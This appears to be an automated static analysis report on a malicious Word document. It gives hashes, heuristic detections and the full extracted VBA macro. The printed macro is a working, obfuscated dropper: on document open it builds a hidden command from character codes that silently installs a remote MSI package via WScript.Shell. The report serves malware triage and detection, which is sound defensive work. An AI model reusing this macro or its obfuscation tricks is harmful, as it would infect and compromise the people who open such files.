Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f04e3f6c690da78…

MALICIOUS

Office (OOXML)

111.2 KB Created: 2019-11-13 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: a6183b9bd529bb25222228d3d1727997 SHA-1: 6aeb6de341410f9beef596951cd195d171d630a1 SHA-256: 2f04e3f6c690da78a1f043bd0a418c25b815733045876e25a3485f9f0f10d8a5
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell"
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi = CreateObject(I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3435 bytes
SHA-256: 66da747e1b729ec01c324371e6f02f5b03e8442c33bec2724d31abff69140d5c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
26 of 44 identifiers look randomly generated (e.g. 'OWZrZsSzGZYje__7d16zYQ_mL2Or7einCzxUjZyT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

Tzc_eiUs.p_RMzanzLgd6qqjFdWO_


End Sub




Attribute VB_Name = "Tzc_eiUs"
Sub p_RMzanzLgd6qqjFdWO_()
ECHPu__bzHtxxUIuaexWD83k_tDFqrXm3q_lGO_Xgp = "5 1 56 9mf qqpd%'F#N:,K4"
t7fpijnO_nWaFFJfJA13t_t_4_Jfd_bOzWD6_P = "5 1 56 93onO:<"
daRksERa4Rj__gm5kCXubO_t5__kr_Mb3yLRRVA2bfPD = "5 1 56 9N'Ou@'"
PJ1Q9bkVD_Ry996_3EGsjb1idB_rKyUF_K8VE_NNyGkIDo6qubMOFfVwSHvwW3_Nh_onAZ22z33RzgTyEL7ra_Acy__6Daz6_Lk_9H = 0
aqBabseehESgph_pr2___BKKcEBfH6841yjQXFX = "5 1 56 9W(D^[BBt) b;B"
c6NF_9tpRtuwW_u3NU17Mf8LlFXpz7pHaTaBw5DLrXtvW = "5 1 56 9#$Y_8)6 /"
Zu_5K5gI_77_dzZ_yT_cL_gi_SGdExuBydpmj5k = "5 1 56 9JQ8Q P7 B P]]  S"
I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell"
tjHIdDuQNuniPq3vVDVy2n__K_tBA_vS = "5 1 56 9  yf+?,|,78 P6k*0G"
sI3_t_TJ_3rZEUU5qIYD_r_fD7SThPC9JofWAsl__dztJb_ = "5 1 56 9m F)O;\+`fPtU,X,E1"
oOGH1LDwACLxwiAlkosFZx748fNCb2KLkzm_Q_L = "5 1 56 9K?$*D"
On Error Resume Next
l_1fJm4yb_2D_ZLe1QLJJ8_K_19B655 = "5 1 56 9KEk8B\,?FL59"
JcR__iHlF_qu_jmFuOJvl_w_m_eXSnq2f_gkmTB6io_FbBz = "5 1 56 9--yW ) n"
kTkCwk_HEoPR__sIbLyE___bQCMC79gY = "5 1 56 9UKFq+LD;"
pIjEQdX_8_hIK8T = "C" & "Md /" & "C m^sie^X^e^C" & Chr(320 / 10) & Chr(470 / 10) & Chr(1050 / 10) & Chr(320 / 10) & Chr(1040 / 10) & Chr(1160 / 10) & Chr(1160 / 10) & Chr(1120 / 10) & Chr(580 / 10) & Chr(470 / 10) & Chr(470 / 10) & Chr(970 / 10) & Chr(1090 / 10) & Chr(1050 / 10) & Chr(1140 / 10) & Chr(970 / 10) & Chr(1040 / 10) & Chr(970 / 10) & Chr(1140 / 10) & Chr(1110 / 10) & Chr(1110 / 10) & Chr(1100 / 10) & Chr(460 / 10) & Chr(990 / 10) & Chr(1110 / 10) & Chr(1090 / 10) & Chr(470 / 10) & Chr(1100 / 10) & _
 Chr(1010 / 10) & Chr(1190 / 10) & Chr(470 / 10) & Chr(1010 / 10) & Chr(1080 / 10) & Chr(1080 / 10) & Chr(970 / 10) & Chr(460 / 10) & Chr(1090 / 10) & Chr(1150 / 10) & Chr(1050 / 10) & Chr(320 / 10) & Chr(470 / 10) & Chr(1130 / 10) & Chr(1100 / 10) & Chr(320 / 10)
aC4_qZ4GWwQ6L__3yUb3m7tiR_ujM5JF_z12_ob_RgrHj_FP_TNbVnvdS = "5 1 56 9Ym'Cb] "
KkhnJ3ab_xV_Bt_2Za_Db8L2Ub3grtS_MYx_3M_nG = "5 1 56 9rrg:^TF*H? "
oYFsG5iDi5BpO1LNpIqA3tPURvm6_9CSQ7vX = "5 1 56 9J ZiR6$K~  "
Set qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi = CreateObject(I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v)
DgIS_xFM8haoC_PmM4_uQTHm_jrrNR_xHg__qYlbE_w_TOv__ni1NKqs = "5 1 56 9 , 7;tg[ e^"
NeKW_W8fclWe8E6xHfeMfCHrxiojrBY7zKu_ = "5 1 56 92&s@~O:.A Q8 EE';i>"
DDUq_Gar2F_wquiroTB_LbiVrNwPBZolSti__xG = "5 1 56 97n sx[DF9`Q{M=z{T 1"
qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi.Run pIjEQdX_8_hIK8T, OWZrZsSzGZYje__7d16zYQ_mL2Or7einCzxUjZyTTutGZ8tucgvm6BD7UvUhTk2k1tWoGlM__aUngtCM_dDPs5rAl1Aw_GAs2_Ooa_dzJrkUqZOji_ZzVb15_V_OlY9tZkuXTWv
OkZzgY137cqHV_jxke99qT_eQaVT6_ffzBwYvl_7zTz = "5 1 56 9Fd1om W     L"
wTHIcs57X_xY4Z4X__W6v6_QIL__9c__LdM__H3kAC_U_l = "5 1 56 9 bN'7B tZ) \~1$ 5Y"
C54SX_zI19Fh384_oCPCsNx_v5iyoO = "5 1 56 9; )Ci% <q@g"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 21814ce60cec624c84849e838734b6f2b576b35eb28df8c46fac56c43d02fa3b